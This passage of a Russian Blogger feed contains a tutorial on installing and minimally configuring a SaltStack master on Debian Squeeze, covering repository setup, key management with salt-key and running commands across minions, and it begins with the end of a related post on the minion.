+ master&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;b&gt;Осталось перезапустить миньёна:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/salt-minion&lt;/span&gt; restart&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=9a94e5fe-96ee-4889-a0ba-4901c4c814b0&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/6627911697704583613/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/saltstack-saltstack-minion-debian_25.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/6627911697704583613'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/6627911697704583613'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/saltstack-saltstack-minion-debian_25.html' title='SaltStack - Установка saltstack-minion на Debian Wheezy x86_64'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s72-c/SaltStack-Logo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-4247120199995155679</id><published>2013-04-22T16:57:00.000+07:00</published><updated>2013-04-30T15:55:06.007+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Debian"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="SaltStack"/><title type='text'>SaltStack - Установка saltstack-master на Debian Squeeze x86_64</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s1600/SaltStack-Logo.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; color: black;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s1600/SaltStack-Logo.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;91&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s320/SaltStack-Logo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
Что такое SaltStack и с чем его едят я описал&amp;nbsp;&lt;b&gt;&lt;a href=&quot;http://sc0rp1us.blogspot.ru/2013/04/saltstack.html&quot; target=&quot;_blank&quot;&gt;тут&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
В текущей статье я опишу как установить&amp;nbsp;SaltStack-master на&amp;nbsp;&lt;a class=&quot;zem_slink&quot; href=&quot;http://www.debian.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Debian&quot;&gt;Debian&lt;/a&gt;.&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;/div&gt;
&lt;h3 style=&quot;color: black; text-align: start;&quot;&gt;
Устанавливаем&amp;nbsp;saltstack-master&lt;/h3&gt;
&lt;blockquote style=&quot;color: black; text-align: start;&quot;&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
В начале начал следует подключить&amp;nbsp;&lt;b&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Backporting&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Backporting&quot;&gt;backports&lt;/a&gt;&lt;/b&gt;&amp;nbsp;для того чтобы&amp;nbsp;удовлетворить&amp;nbsp;все возможные зависимости SaltStack&#39;a.&lt;/div&gt;
&lt;blockquote style=&quot;color: black; text-align: start;&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;echo&lt;/span&gt; deb http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/backports.debian.org/debian-backports&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 squeeze-backports main &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/apt/sources.list.d/backports.list&lt;/span&gt;

&lt;a class=&quot;zem_slink&quot; href=&quot;http://wiki.debian.org/Apt&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Advanced Packaging Tool&quot;&gt;apt-get&lt;/a&gt; update
apt-get dist-upgrade -y&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
добавляем репозиторий&amp;nbsp;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;color: black; text-align: start;&quot;&gt;
&lt;pre&gt;cat &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;lt;&lt;/span&gt;_eof &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/apt/sources.list.d/local-madduck-backports.list&lt;/span&gt;
    deb http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/debian.madduck.net/repo&lt;/span&gt; squeeze-backports main
    deb-src http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/debian.madduck.net/repo&lt;/span&gt; squeeze-backports main
_eof&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
и настраиваем приоритеты&amp;nbsp;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;color: black; text-align: start;&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;for&lt;/span&gt; i &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;in&lt;/span&gt; &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Salt&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Salt&quot;&gt;salt&lt;/a&gt;-&lt;span style=&quot;color: #806030;&quot;&gt;{&lt;/span&gt;common,master,minion,syndic,doc&lt;span style=&quot;color: #806030;&quot;&gt;}&lt;/span&gt; &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Init&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Init&quot;&gt;sysvinit&lt;/a&gt;-utils&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;do&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;Package: &lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&quot;&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;Pin: release &lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;squeeze-backports&quot;&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;Pin-Priority: 600&quot;&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;echo&lt;/span&gt;
&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;done&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/apt/preferences.d/local-salt-backport.pref&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
осталось импортировать ключ&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;color: black; text-align: start;&quot;&gt;
&lt;pre&gt;wget -q -O- &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;http:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/debian.madduck.net/repo/gpg/archive.key&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; apt-key add -
apt-get update&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
и приступить к установке&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;color: black; text-align: start;&quot;&gt;
&lt;pre&gt;apt-get install salt-master&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
небольшое отступление, для отладки и поиска неполадок вы можете запустить salt-master вручную в отладочном режиме&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;color: black; text-align: start;&quot;&gt;
&lt;pre&gt;salt-master --log-level&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;debug&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
Как установить&amp;nbsp;&lt;b&gt;saltstack-minion читайте&amp;nbsp;&lt;a href=&quot;http://sc0rp1us.blogspot.ru/2013/04/saltstack-saltstack-minion-debian.html&quot; target=&quot;_blank&quot;&gt;тут&lt;/a&gt;&lt;/b&gt;.&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;/div&gt;
&lt;h3 style=&quot;color: black; text-align: start;&quot;&gt;
Минимальная настройка saltstack-master&lt;/h3&gt;
&lt;blockquote style=&quot;color: black; text-align: start;&quot;&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
По умолчанию saltstack-master слушает на всех интерфейсах, на портах&amp;nbsp;4505 и 4506.&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
если вам нужно изменить сей факт то вам придётся отредактировать файл&amp;nbsp;/etc/salt/master&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;b&gt;Пример:&lt;/b&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;color: black; text-align: start;&quot;&gt;
&lt;pre&gt;- &lt;span style=&quot;color: #c34e00;&quot;&gt;#interface: 0.0.0.0&lt;/span&gt;
+ interface&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Если у вас много миньёнов то нужно увеличить количество открытых дескрипторов в системе&lt;br /&gt;&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;# раскоментируем соответствующую опцию в конфиге&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;#max_open_files&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;max_open_files&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/salt/master&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;# увеличим количество лимитов в системе&lt;/span&gt;
cat &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/security/limits.conf&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;# wildcard does not work for root, but for all other users&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;*               soft     nofile           4096&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;*               hard     nofile           32768&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;# settings should also apply to root&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;root            soft     nofile           100000&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;root            hard     nofile           100000&lt;/span&gt;
&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;# и дабы не перезапускать сессию в ожидании чуда увеличим лимиты на лету &lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;ulimit&lt;/span&gt; &lt;span style=&quot;color: #44aadd;&quot;&gt;-n&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;100000&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;# осталось перезапустить демона&lt;/span&gt;
&lt;b&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/salt-master&lt;/span&gt; restart
&lt;/b&gt; Restarting salt master control daemon&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; salt-masterStopping salt master control daemon &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
 Starting salt-master daemon&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
 &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;color: black; text-align: start;&quot;&gt;
Управление ключами saltstack-master&lt;/h3&gt;
&lt;blockquote style=&quot;color: black; text-align: start;&quot;&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
Вся коммуникация между мастером и миньёном происходит при помощи&amp;nbsp;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Advanced_Encryption_Standard&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Advanced Encryption Standard&quot;&gt;AES&lt;/a&gt;&amp;nbsp;шифрования, путём доверия разрешенным сертификатам.&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
Немножко синтаксиса&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;color: black; text-align: start;&quot;&gt;
&lt;pre&gt;&lt;b&gt;salt-key -h
&lt;/b&gt;...
    -L, --list-all      Отобразить все публичные ключи
    -A, --accept-all    Разрешить  все публичные ключи
    -R, --reject-all    Запретить  все публичные ключи
    &lt;span style=&quot;color: #44aadd;&quot;&gt;-d&lt;/span&gt; DELETE, --delete&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;DELETE Удалить публичный ключ
    -D, --delete-all    Удалить  все публичные ключи&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&amp;nbsp;на данный момент к моему мастеру пытается подключиться только один миньён&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;b&gt;Выведем полный список ключей:&lt;/b&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;color: black; text-align: start;&quot;&gt;
&lt;pre&gt;&lt;b&gt;salt-key &lt;span style=&quot;color: #44aadd;&quot;&gt;-L&lt;/span&gt;
&lt;/b&gt; Accepted Keys&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
 Unaccepted Keys&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
     &lt;b&gt;saltstack-minion&lt;/b&gt;
 Rejected Keys&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;b&gt;Разрешим все ключи, и посмотрим что получилось:&lt;/b&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;color: black; text-align: start;&quot;&gt;
&lt;pre&gt;&lt;b&gt;salt-key -A
&lt;/b&gt; Key &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;for&lt;/span&gt; minion &lt;b&gt;saltstack-minion&lt;/b&gt; accepted&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
&lt;b&gt;salt-key &lt;span style=&quot;color: #44aadd;&quot;&gt;-L&lt;/span&gt;
&lt;/b&gt; Accepted Keys&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
     &lt;b&gt;saltstack-minion&lt;/b&gt;
 Unaccepted Keys&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
 Rejected Keys&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
После добавления вышеуказанным образом мы можем проверить как доступность всего парка миньёнов, так и конкретную машину.&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;b&gt;Проверим доступность машин:&lt;/b&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;color: black; text-align: start;&quot;&gt;
&lt;pre&gt;&lt;b&gt;salt &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;*&#39;&lt;/span&gt; &lt;span style=&quot;color: #bb7977;&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;ping
&lt;/b&gt; saltstack-minion&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
     True
 saltstack-minion2&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
     True
 saltstack-minion3&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
     True
&lt;b&gt;salt &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;saltstack-minion&#39;&lt;/span&gt; &lt;span style=&quot;color: #bb7977;&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;ping
&lt;/b&gt; saltstack-minion&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
     True&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
Попробуем обновить систему на всех Debian системах&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
Пример:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;color: black; text-align: start;&quot;&gt;
&lt;pre&gt;&lt;b&gt;salt &lt;span style=&quot;color: #44aadd;&quot;&gt;-G&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;os:Debian&#39;&lt;/span&gt; cmd&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;run &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;apt-get update; apt-get dist-upgrade -y&#39;&lt;/span&gt;
&lt;/b&gt;saltstack-minion&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/mirror.yandex.ru&lt;/span&gt; squeeze Release&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;gpg
    Ign http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/mirror.yandex.ru/debian&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze/main&lt;/span&gt; Translation-en
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/mirror.yandex.ru&lt;/span&gt; squeeze-updates Release&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;gpg
    Ign http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/mirror.yandex.ru/debian&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze-updates/main&lt;/span&gt; Translation-en
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/mirror.yandex.ru&lt;/span&gt; squeeze Release
